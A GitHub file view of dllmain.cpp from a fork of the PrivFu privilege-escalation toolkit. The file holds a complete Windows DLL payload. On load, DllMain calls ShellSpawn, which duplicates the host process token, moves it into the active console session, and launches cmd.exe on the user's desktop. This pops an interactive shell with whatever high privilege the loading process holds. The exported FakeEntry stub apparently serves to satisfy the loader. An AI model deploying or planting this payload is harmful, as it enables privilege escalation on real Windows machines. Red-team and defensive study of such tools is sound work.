forked from daem0nc0re/PrivFu
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdllmain.cpp
More file actions
102 lines (83 loc) · 2.15 KB
/
Copy pathdllmain.cpp
File metadata and controls
102 lines (83 loc) · 2.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
extern "C"
{
__declspec(dllexport) VOID FakeEntry()
{
return;
}
__declspec(dllexport) BOOL ShellSpawn()
{
STARTUPINFO si = { 0 };
si.cb = sizeof(si);
si.wShowWindow = SW_SHOW;
si.lpDesktop = const_cast<wchar_t*>(L"Winsta0\\Default");
PROCESS_INFORMATION pi = { 0 };
HANDLE hToken = NULL;
HANDLE hDupToken = NULL;
DWORD sessionId = ::WTSGetActiveConsoleSessionId();
if (sessionId == 0xFFFFFFFF)
{
return FALSE;
}
BOOL status = ::OpenProcessToken(
::GetCurrentProcess(),
TOKEN_DUPLICATE | TOKEN_ADJUST_SESSIONID,
&hToken);
if (!status) return FALSE;
status = ::DuplicateTokenEx(
hToken,
MAXIMUM_ALLOWED,
nullptr,
SecurityAnonymous,
TokenPrimary,
&hDupToken);
if (!status) {
::CloseHandle(hToken);
return FALSE;
}
// Requires SeTcbPrivilege
status = ::SetTokenInformation(
hDupToken,
TokenSessionId,
&sessionId,
sizeof(sessionId));
if (!status) {
::CloseHandle(hDupToken);
::CloseHandle(hToken);
return FALSE;
}
status = ::CreateProcessAsUser(
hDupToken,
const_cast<wchar_t*>(L"C:\\Windows\\System32\\cmd.exe"),
const_cast<wchar_t*>(L""),
nullptr,
nullptr,
FALSE,
NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE,
nullptr,
nullptr,
&si,
&pi);
::CloseHandle(hDupToken);
::CloseHandle(hToken);
if (status) {
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
}
return status;
}
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD dwReason,
LPVOID lpReserved
)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ShellSpawn();
break;
}
return TRUE;
}